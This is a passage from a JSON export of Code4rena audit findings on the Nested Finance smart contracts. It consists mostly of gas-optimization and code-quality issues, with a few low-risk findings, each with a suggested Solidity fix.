"G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle pmerkleplant # Vulnerability details ## Impact Function `getAmountDue` in `FeeSplitter.sol` defines the variable `totalReceived` in [line 83](https://github.com/code-423n4/2021-11-nested/blob/main/contracts/FeeSplitter.sol#L83) eventhough it is already known if the variable is even necessary. The variable is uneccessary if `_tokenRecords.totalShares == 0`. Not declaring it, if not necessary, saves gas. ## Recommended Mitigation Steps Rewrite the function to something like: ``` TokenRecords storage _tokenRecords = tokenRecords[address(_token)]; if (_tokenRecords.totalShares == 0) return 0; uint256 totalReceived = _tokenRecords.totalReleased + _token.balanceOf(address(this)); // Rest same as before ``` "}, {"title": "Remove unnecessary `balanceOf` call in `NestedBuybacker::triggerForToken`", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/65", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle pmerkleplant # Vulnerability details Function `triggerForToken` in `NestedBuybacker.sol` makes a `balanceOf` call on the `_sellToken`, see [line 100](https://github.com/code-423n4/2021-11-nested/blob/main/contracts/NestedBuybacker.sol#L100). However, the result of the call is never used. It would save gas to remove the unnecessary call and variable declaration. "}, {"title": "`removeFactory` has `==true` comparison in require statement", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/63", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle loop # Vulnerability details The `removeFactory` has an unnecessary `==true` comparison in its require statement. Since require already checks if the condition is `true`, there is no need for it to be compared. ## Impact Removing `== true` saves a tiny amount of gas if `removeFactory` is called. ## Proof of Concept https://github.com/code-423n4/2021-11-nested/blob/main/contracts/NestedAsset.sol#L142 "}, {"title": "_sendFees() Repeat SLOAD shareholders In Loop", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/57", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle Meta0xNull # Vulnerability details ## Impact _sendFees() repeat Read Storage variable shareholders. Every Storage read is expensive. ## Proof of Concept https://github.com/code-423n4/2021-11-nested/blob/main/contracts/FeeSplitter.sol#L227-L232 ## Tools Used Manual Review ## Recommended Mitigation Steps Read the values from storage once, cache them in local variables and then read them again using the local variables. For example: Shareholder[] shareholders_temp = shareholders; for (uint256 i = 0; i < shareholders_temp.length; i++) { _addShares( shareholders_temp[i].account, _computeShareCount(_amount, shareholders_temp[i].weight, _totalWeights), address(_token) ); "}, {"title": "function mintWithMetadata() Unused", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/55", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-nested-findings", "body": "function mintWithMetadata() Unused"}, {"title": "Wrong Error Message in _transferInputTokens()", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/53", "labels": ["bug", "0 (Non-critical)"], "target": "2021-11-nested-findings", "body": "Wrong Error Message in _transferInputTokens()"}, {"title": "ExchangeHelpers: in setMaxAllowance, safeApprove shouldn't be used", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/50", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle PierrickGT # Vulnerability details ## Impact In [setMaxAllowance](https://github.com/code-423n4/2021-11-nested/blob/cbd39fe7d76ed8c84eb767a5f3b6eba83e034656/contracts/libraries/ExchangeHelpers.sol#L34), `safeApprove` is used to increase allowance. As stated in the following Pull Request, `safeApprove` has been deprecated in favor of `safeIncreaseAllowance` and `safeDecreaseAllowance`. https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2268/files This is because `safeApprove` shouldn't check for allowance, as explained in the issue below: https://github.com/OpenZeppelin/openzeppelin-contracts/issues/2219 `approve` is actually vulnerable to a sandwich attack as explained in the following document and this check for allowance doesn't actually avoid it. https://docs.google.com/document/d/1YLPtQxZu1UAvO9cZ1O2RPXBbT0mooh4DYKjA_jp-RLM/edit ## Proof of Concept `safeIncreaseAllowance` should be used to increase allowance and `safeDecreaseAllowance` to decrease allowance to 0. We can also gain in code clarity by refactoring the `if else` statement and calling `_token.safeIncreaseAllowance(_spender, type(uint256).max);` only once. ## Recommended Mitigation Steps The following changes are recommended. ``` function setMaxAllowance(IERC20 _token, address _spender) internal { uint256 _currentAllowance = _token.allowance(address(this), _spender); if (_currentAllowance != type(uint256).max) { // Decrease to 0 first for tokens mitigating the race condition _token.safeDecreaseAllowance(_spender, _currentAllowance); } _token.safeIncreaseAllowance(_spender, type(uint256).max); } ``` "}, {"title": "NestedFactory: in deleteAsset and freeToken, tokens should only be declared once ", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle PierrickGT # Vulnerability details ## Impact In [deleteAsset](https://github.com/code-423n4/2021-11-nested/blob/cbd39fe7d76ed8c84eb767a5f3b6eba83e034656/contracts/NestedRecords.sol#L213), `tokens` is declared once in the function and then a second time in the function `freeToken`. ## Proof of Concept The `freeToken` function being used only in `deleteAsset`, the code from this function can be moved to `deleteAsset` and the function removed. This way, we don't have to pass `tokens` to the `freeToken` function and we avoid declaring it here a second time. ## Recommended Mitigation Steps The following change is recommended. ``` function deleteAsset(uint256 _nftId, uint256 _tokenIndex) public onlyFactory { address[] storage tokens = records[_nftId].tokens; address token = tokens[_tokenIndex]; Holding memory holding = records[_nftId].holdings[token]; require(holding.isActive, \"NestedRecords: HOLDING_INACTIVE\"); delete records[_nftId].holdings[token]; tokens[_tokenIndex] = tokens[tokens.length - 1]; tokens.pop(); } ``` "}, {"title": "OperatorHelpers.sol: function decodeDataAndRequire state mutability can be restricted to pure", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/48", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact OperatorHelpers.sol: function decodeDataAndRequire state mutability can be restricted to pure We don't read any storage variables, only use the arguments therefore, it can be restricted to pure. ## Proof of Concept https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/libraries/OperatorHelpers.sol#L45 ## Tools Used Manual Analysis ## Recommended Mitigation Steps set function state mutability to pure "}, {"title": "Remove empty file OwnableOperator.so", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/47", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Empty/useless file OwnableOperator.sol is against best practices / code housekeeping. ## Proof of Concept https://github.com/code-423n4/2021-11-nested/blob/main/contracts/operators/OwnableOperator.sol ## Tools Used Manual Analysis ## Recommended Mitigation Steps Delete file "}, {"title": "Subtraction from totalWeights can be done unchecked to save gas", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/46", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact FeeSplitter.so: totalWeights is the sum of shareholder weights and royaltiesWeight, therefore a subtraction of a shareholder weight or royaltiesWeight can be done unchecked because we can't underflow and save gas. ## Proof of Concept https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/FeeSplitter.sol#L143 https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/FeeSplitter.sol#L169 ## Tools Used Manual Analysis ## Recommended Mitigation Steps https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/FeeSplitter.sol#L143 can be rewritten as: function sendFees(IERC20 _token, uint256 _amount) external nonReentrant { _sendFees(_token, _amount, unchecked {totalWeights - royaltiesWeight}); } https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/FeeSplitter.sol#L169 can be written as unchecked { _totalWeights -= shareholders[_accountIndex].weight; } "}, {"title": "Different coding style for same pattern: x += y and sometimes x = x + y", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/45", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact The pattern of adding/subtracting a variable to/from another value is sometimes written as x += y; and sometimes as x = x + y; (x -= y; and sometimes x = x - y;) The shorter version x += y;/x -= y; increases readability. ## Proof of Concept https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/FeeSplitter.sol#L241 https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/FeeSplitter.sol#L256 https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedFactory.sol#L229 and possible others ## Tools Used Manual Analysis ## Recommended Mitigation Steps use the x += y; / x -= y; pattern "}, {"title": "Comment for PaymentReceived event should state \"received\" instead of \"released\"", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/44", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Comment in FeeSplitter \"/// @dev Emitted when a payment is released\" for the PaymentReceived event should say \"received\" instead of \"released\". ## Proof of Concept https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/FeeSplitter.sol#L25 ## Tools Used Manal Analysis ## Recommended Mitigation Steps Change line to: /// @dev Emitted when a payment is received "}, {"title": "FeeSplitter: totalWeights can be set to 0 by onlyOwner", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/43", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact The storage variable totalWeights can be set 0 by onlyOwner and therefore we would have a division by zero in the function \"_computeShareCount\" https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/FeeSplitter.sol#L268 ## Proof of Concept -Assumption we have one shareholder with weight S1 > 0 and royaltiesWeight > 0. -With the function updateShareholder the onlyOwner sets the S1 of our shareholder to 0. - updateShareholder: https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/FeeSplitter.sol#L166 - require(_totalWeights > 0, \"FeeSplitter: TOTAL_WEIGHTS_ZERO\") condition is met because _totalWeights is the sum of all shareholder weights + royaltiesWeight, and royaltiesWeight is > 0 - With the function setRoyaltiesWeight the onlyOwner sets the royaltiesWeight to 0. - setRoyaltiesWeight: https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/FeeSplitter.sol#L94 - => setRoyaltiesWeight is 0 and totalWeights is 0 ## Tools Used Manual Analysis ## Recommended Mitigation Steps At the end of the function setRoyaltiesWeight check for 0 weight with a require: require(totalWeights > 0, \"FeeSplitter: TOTAL_WEIGHTS_ZERO\"); https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/FeeSplitter.sol#L94 "}, {"title": "Missing events for critical privileged functions", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/42", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Functions that are only executable by privileged users (e.g. onlyOwner) and have an impact (e.g. financial, trust) on other users should emit events. ## Proof of Concept https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/FeeSplitter.sol#L94 https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/FeeSplitter.sol#L103 https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/FeeSplitter.sol#L166 https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedFactory.sol#L74 https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedFactory.sol#L79 https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedFactory.sol#L271 and possible other ## Tools Used Manual Analysis ## Recommended Mitigation Steps Emit events for privileged actions "}, {"title": "Use SafeERC20 instead of IERC20 in contracts/mocks/DummyRouter.sol ", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/41", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-11-nested-findings", "body": "Use SafeERC20 instead of IERC20 in contracts/mocks/DummyRouter.sol "}, {"title": "Indexing parameters of your events", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/40", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-nested-findings", "body": "Indexing parameters of your events"}, {"title": "claimFees may end up locking user funds", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/39", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-11-nested-findings", "body": "claimFees may end up locking user funds"}, {"title": "Adding an if check to avoid unnecessary call", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-nested-findings", "body": "Adding an if check to avoid unnecessary call"}, {"title": "Typo", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/37", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle 0xngndev # Vulnerability details ## Impact Found the same small typo at NestedBuybacker.sol#constructor::line 54 and at NestedBuybacker.sol#constructor::line 87. The error messages says: \"NestedBuybacker::constructor: Burn part to high\" It should be \"too high\". "}, {"title": "Store hash of `type(ZeroExStorage).creationCode` rather than recalculating it on each call", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/35", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact Deployment + runtime gas cost increase ## Proof of Concept On each time we calculate the address of `ZeroExStorage` we hash the entirety of the creation code for `ZeroExStorage`. This means that not only do we have to perform a large hash operation over the entire creation bytecode of this contract, we need to store all of this bytecode in the `ZeroExOperator`'s deployed bytecode. https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/operators/ZeroEx/ZeroExOperator.sol#L61 This hash could be calculated once at deployment and then have this used cheaply each time, reducing both deployment and runtime costs. ## Recommended Mitigation Steps Store `keccak256(type(ZeroExStorage).creationCode)` in an `immutable` (not `constant` as this still results in hashing being applied each time) variable. "}, {"title": "Move from a pull to a push pattern for sending fees to the FeeSplitter", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-nested-findings", "body": "Move from a pull to a push pattern for sending fees to the FeeSplitter"}, {"title": "NestedBuybacker sends NST to NestedReserve with no proper way to retrieve it.", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/33", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-nested-findings", "body": "NestedBuybacker sends NST to NestedReserve with no proper way to retrieve it."}, {"title": "1:1 linkage between factory and reserve prevents desired upgradability path.", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/32", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact NFTs can't be managed from future versions of `NestedFactory` without manual migration or removing support for the previous `NestedFactory`. ## Proof of Concept From discussion with NestedFinance team members, it's desired that multiple `NestedFactories` can interact with the NFT portfolios and be interoperable into the future. NestedFinance has two singleton contracts which store the state of NFTs `NestedAsset` and `NestedRecords` `NestedAsset` allows multiple factories to interact with a given NFT ([asset](https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedAsset.sol#L18-L19)) `NestedRecords` lists a single reserve which holds an NFT's assets ([records](https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedRecords.sol#L32)) This is fine however `NestedFactory` and `NestedReserve` are linked together 1:1 ([factory](https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedFactory.sol#L31), [reserve](https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedReserve.sol#L14)) This means that each NFT can only be managed by a single factory as calls from other factories to the relevant reserve will revert due to insufficient permissions. Should I want to update to use the newest factory I would have to manually migrate my portfolio across. ## Recommended Mitigation Steps Allow `NestedReserve` to have multiple factories connect to it. Make sure to have the `NestedReserve` secure from reentrancy attacks utilising multiple factories in parallel. "}, {"title": "Copy your own portfolio to keep earning royalties ", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/30", "labels": ["bug", "3 (High Risk)", "disagree with severity"], "target": "2021-11-nested-findings", "body": "Copy your own portfolio to keep earning royalties "}, {"title": "Mix of external and public function visibility with the same access modifier", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Functions in the same contract with the same access modifier (e.g. onlyOwner or onlyFactory) have have a mix of public and external visibility. Set their visibility to external to save gas. Affected contracts (see ): - NestedRecords - NestedFactory - FeeSplitter - NestedAsset ## Tools Used Visial Studio Code + Solidity Visual Developer (Plugin) ## Recommended Mitigation Steps Set the visibility to external to save gas. Extract from Solidity Visual Developer (Plugin) of the Contracts and visibility: | Contract | Type | Bases | | | |:----------:|:-------------------:|:----------------:|:----------------:|:---------------:| | \u2514 | **Function Name** | **Visibility** | **Mutability** | **Modifiers** | |||||| | **NestedRecords** | Implementation | Ownable ||| | \u2514 | | Public \u2757\ufe0f | \ud83d\uded1 |NO\u2757\ufe0f | | \u2514 | createRecord | Public \u2757\ufe0f | \ud83d\uded1 | onlyFactory | | \u2514 | updateHoldingAmount | Public \u2757\ufe0f | \ud83d\uded1 | onlyFactory | | \u2514 | getAssetTokens | Public \u2757\ufe0f | |NO\u2757\ufe0f | | \u2514 | freeHolding | Public \u2757\ufe0f | \ud83d\uded1 | onlyFactory | | \u2514 | store | External \u2757\ufe0f | \ud83d\uded1 | onlyFactory | | \u2514 | getAssetHolding | External \u2757\ufe0f | |NO\u2757\ufe0f | | \u2514 | setFactory | External \u2757\ufe0f | \ud83d\uded1 | onlyOwner | | \u2514 | updateLockTimestamp | External \u2757\ufe0f | \ud83d\uded1 | onlyFactory | | \u2514 | setMaxHoldingsCount | External \u2757\ufe0f | \ud83d\uded1 | onlyOwner | | \u2514 | getAssetReserve | External \u2757\ufe0f | |NO\u2757\ufe0f | | \u2514 | getAssetTokensLength | External \u2757\ufe0f | |NO\u2757\ufe0f | | \u2514 | getLockTimestamp | External \u2757\ufe0f | |NO\u2757\ufe0f | | \u2514 | setReserve | External \u2757\ufe0f | \ud83d\uded1 | onlyFactory | | \u2514 | removeNFT | External \u2757\ufe0f | \ud83d\uded1 | onlyFactory | | \u2514 | deleteAsset | Public \u2757\ufe0f | \ud83d\uded1 | onlyFactory | | \u2514 | freeToken | Private \ud83d\udd10 | \ud83d\uded1 | | |||||| | **NestedFactory** | Implementation | INestedFactory, ReentrancyGuard, Ownable, MixinOperatorResolver, Multicall ||| | \u2514 | | Public \u2757\ufe0f | \ud83d\uded1 | MixinOperatorResolver | | \u2514 | | External \u2757\ufe0f | \ud83d\udcb5 |NO\u2757\ufe0f | | \u2514 | resolverAddressesRequired | Public \u2757\ufe0f | |NO\u2757\ufe0f | | \u2514 | addOperator | External \u2757\ufe0f | \ud83d\uded1 | onlyOwner | | \u2514 | removeOperator | External \u2757\ufe0f | \ud83d\uded1 | onlyOwner | | \u2514 | setReserve | External \u2757\ufe0f | \ud83d\uded1 | onlyOwner | | \u2514 | setFeeSplitter | External \u2757\ufe0f | \ud83d\uded1 | onlyOwner | | \u2514 | create | External \u2757\ufe0f | \ud83d\udcb5 | nonReentrant | | \u2514 | addTokens | External \u2757\ufe0f | \ud83d\udcb5 | nonReentrant onlyTokenOwner | | \u2514 | swapTokenForTokens | External \u2757\ufe0f | \ud83d\uded1 | nonReentrant onlyTokenOwner isUnlocked | | \u2514 | sellTokensToNft | External \u2757\ufe0f | \ud83d\uded1 | nonReentrant onlyTokenOwner isUnlocked | | \u2514 | sellTokensToWallet | External \u2757\ufe0f | \ud83d\uded1 | nonReentrant onlyTokenOwner isUnlocked | | \u2514 | destroy | External \u2757\ufe0f | \ud83d\uded1 | nonReentrant onlyTokenOwner isUnlocked | | \u2514 | withdraw | External \u2757\ufe0f | \ud83d\uded1 | nonReentrant onlyTokenOwner isUnlocked | | \u2514 | increaseLockTimestamp | External \u2757\ufe0f | \ud83d\uded1 | onlyTokenOwner | | \u2514 | unlockTokens | External \u2757\ufe0f | \ud83d\uded1 | onlyOwner | | \u2514 | _submitInOrders | Private \ud83d\udd10 | \ud83d\uded1 | | | \u2514 | _submitOutOrders | Private \ud83d\udd10 | \ud83d\uded1 | | | \u2514 | _submitOrder | Private \ud83d\udd10 | \ud83d\uded1 | | | \u2514 | _safeSubmitOrder | Private \ud83d\udd10 | \ud83d\uded1 | | | \u2514 | _transferToReserveAndStore | Private \ud83d\udd10 | \ud83d\uded1 | | | \u2514 | _transferInputTokens | Private \ud83d\udd10 | \ud83d\uded1 | | | \u2514 | _handleUnderSpending | Private \ud83d\udd10 | \ud83d\uded1 | | | \u2514 | _transferFeeWithRoyalty | Private \ud83d\udd10 | \ud83d\uded1 | | | \u2514 | _decreaseHoldingAmount | Private \ud83d\udd10 | \ud83d\uded1 | | | \u2514 | _safeTransferAndUnwrap | Private \ud83d\udd10 | \ud83d\uded1 | | | \u2514 | _safeTransferWithFees | Private \ud83d\udd10 | \ud83d\uded1 | | | \u2514 | _calculateFees | Private \ud83d\udd10 | | | |||||| | **FeeSplitter** | Implementation | Ownable, ReentrancyGuard ||| | \u2514 | | Public \u2757\ufe0f | \ud83d\uded1 |NO\u2757\ufe0f | | \u2514 | | External \u2757\ufe0f | \ud83d\udcb5 |NO\u2757\ufe0f | | \u2514 | getAmountDue | Public \u2757\ufe0f | |NO\u2757\ufe0f | | \u2514 | setRoyaltiesWeight | Public \u2757\ufe0f | \ud83d\uded1 | onlyOwner | | \u2514 | setShareholders | Public \u2757\ufe0f | \ud83d\uded1 | onlyOwner | | \u2514 | releaseToken | Public \u2757\ufe0f | \ud83d\uded1 | nonReentrant | | \u2514 | releaseTokens | External \u2757\ufe0f | \ud83d\uded1 |NO\u2757\ufe0f | | \u2514 | releaseETH | External \u2757\ufe0f | \ud83d\uded1 | nonReentrant | | \u2514 | sendFees | External \u2757\ufe0f | \ud83d\uded1 | nonReentrant | | \u2514 | sendFeesWithRoyalties | External \u2757\ufe0f | \ud83d\uded1 | nonReentrant | | \u2514 | updateShareholder | External \u2757\ufe0f | \ud83d\uded1 | onlyOwner | | \u2514 | totalShares | External \u2757\ufe0f | |NO\u2757\ufe0f | | \u2514 | totalReleased | External \u2757\ufe0f | |NO\u2757\ufe0f | | \u2514 | shares | External \u2757\ufe0f | |NO\u2757\ufe0f | | \u2514 | released | External \u2757\ufe0f | |NO\u2757\ufe0f | | \u2514 | findShareholder | External \u2757\ufe0f | |NO\u2757\ufe0f | | \u2514 | _sendFees | Private \ud83d\udd10 | \ud83d\uded1 | | | \u2514 | _addShares | Private \ud83d\udd10 | \ud83d\uded1 | | | \u2514 | _releaseToken | Private \ud83d\udd10 | \ud83d\uded1 | | | \u2514 | _addShareholder | Private \ud83d\udd10 | \ud83d\uded1 | | | \u2514 | _computeShareCount | Private \ud83d\udd10 | | | |||||| | **NestedAsset** | Implementation | ERC721Enumerable, Ownable ||| | \u2514 | | Public \u2757\ufe0f | \ud83d\uded1 | ERC721 | | \u2514 | tokenURI | Public \u2757\ufe0f | |NO\u2757\ufe0f | | \u2514 | originalOwner | Public \u2757\ufe0f | |NO\u2757\ufe0f | | \u2514 | mint | Public \u2757\ufe0f | \ud83d\uded1 | onlyFactory | | \u2514 | mintWithMetadata | External \u2757\ufe0f | \ud83d\uded1 | onlyFactory | | \u2514 | backfillTokenURI | External \u2757\ufe0f | \ud83d\uded1 | onlyFactory onlyTokenOwner | | \u2514 | burn | External \u2757\ufe0f | \ud83d\uded1 | onlyFactory onlyTokenOwner | | \u2514 | setFactory | External \u2757\ufe0f | \ud83d\uded1 | onlyOwner | | \u2514 | removeFactory | External \u2757\ufe0f | \ud83d\uded1 | onlyOwner | | \u2514 | _setTokenURI | Internal \ud83d\udd12 | \ud83d\uded1 | | Legend | Symbol | Meaning | |:--------:|-----------| | \ud83d\uded1 | Function can modify state | | \ud83d\udcb5 | Function is payable | "}, {"title": "More gas efficient calculation of weights", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/28", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle GiveMeTestEther # Vulnerability details ## Impact Calculation of the weights in the function \"setRoyaltiesWeight\" of FeeSplitter.sol (row 95) can be done more gas efficient. function setRoyaltiesWeight(uint256 _weight) public onlyOwner { totalWeights -= royaltiesWeight; royaltiesWeight = _weight; totalWeights += _weight; } can be rewritten as function setRoyaltiesWeight(uint256 _weight) public onlyOwner { totalWeights = totalWeights - royaltiesWeight + _weight; royaltiesWeight = _weight; } => write only once to the storage of totalWeights. ## Proof of Concept ## Tools Used Visual Studio Code ## Recommended Mitigation Steps see above "}, {"title": "`NestedReserve.transferFromFactory` function increases deployment gas costs unnecessarily", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/27", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact `NestedReserve.transferFromFactory` is unused and so increases deployment costs for no gain ## Proof of Concept `NestedReserve` has a `transferFromFactory` which can be seen not to be used in the codebase (and in the case the `NestedFactory` needs to send tokens to the reserve it can do so directly.) https://github.com/code-423n4/2021-11-nested/blob/5d113967cdf7c9ee29802e1ecb176c656386fe9b/contracts/NestedReserve.sol#L55-L60 ## Recommended Mitigation Steps Remove this function. "}, {"title": "FlatOperator can be inlined into NestedFactory to save gas", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-nested-findings", "body": "FlatOperator can be inlined into NestedFactory to save gas"}, {"title": "unchecked { ++i } is more gas efficient than i++ for loops", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/25", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-nested-findings", "body": "unchecked { ++i } is more gas efficient than i++ for loops"}, {"title": "Multiple Solidity pragma", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/22", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-11-nested-findings", "body": "Multiple Solidity pragma"}, {"title": "Reduce require messages length to save contract size", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle 0xngndev # Vulnerability details ## Impact Running a quick contract size check in the NestedFactory contract, I noticed it sat at 27590 bytes, exceeding the allowed 24576 bytes to deploy on mainnet. I removed the require messages alone in that contract and found the contract size dropped to 23172 bytes. Considering you are using large require messages in all the codebase, I would suggest considering a change of approach as to how you expose the error messages. I'll add my suggestions below. ## Recommended Mitigation Steps Two ways: 1) Shorten the length of the string messages to just the error instead of including the contract and the function. UniswapV3 repo may be a good example of how to do this. You can always explain errors further in the natspec, or in your documentation (you can make a common errors section). 2) Change require statements for if (...) revert CustomError(). Per solidity docs: \"Using a custom error instance will usually be much cheaper than a string description, because you can use the name of the error to describe it, which is encoded in only four bytes. A longer description can be supplied via NatSpec which does not incur any costs.\" Link: https://docs.soliditylang.org/en/v0.8.10/control-structures.html?highlight=error#revert ## Tools Used dapptools make size "}, {"title": "`updateShareholder` in `FeeSplitter.sol` can be implemented more efficiently", "html_url": "https://github.com/code-423n4/2021-11-nested-findings/issues/11", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-nested-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Explanation `updateShareholder` in `FeeSplitter.sol` can be implemented more efficiently. The updated version consumes less gas and also has the second `require` statement earlier, which reduces the gas cost in case the statement of second `require` is not fullfilled. `FeeSplitter.sol` : L166-174: ``` function updateShareholder(uint256 _accountIndex, uint256 _weight) external onlyOwner { require(_accountIndex + 1 <= shareholders.length, \"FeeSplitter: INVALID_ACCOUNT_INDEX\"); uint256 _totalWeights = totalWeights; _totalWeights -= shareholders[_accountIndex].weight; shareholders[_accountIndex].weight = _weight; _totalWeights += _weight; require(_totalWeights > 0, \"FeeSplitter: TOTAL_WEIGHTS_ZERO\"); totalWeights = _totalWeights; } ``` can be replaced with: ``` function updateShareholder(uint256 _accountIndex, uint256 _weight) external onlyOwner { require(_accountIndex + 1 <= shareholders.length, \"FeeSplitter: INVALID_ACCOUNT_INDEX\"); totalWeights = totalWeights + _weight - 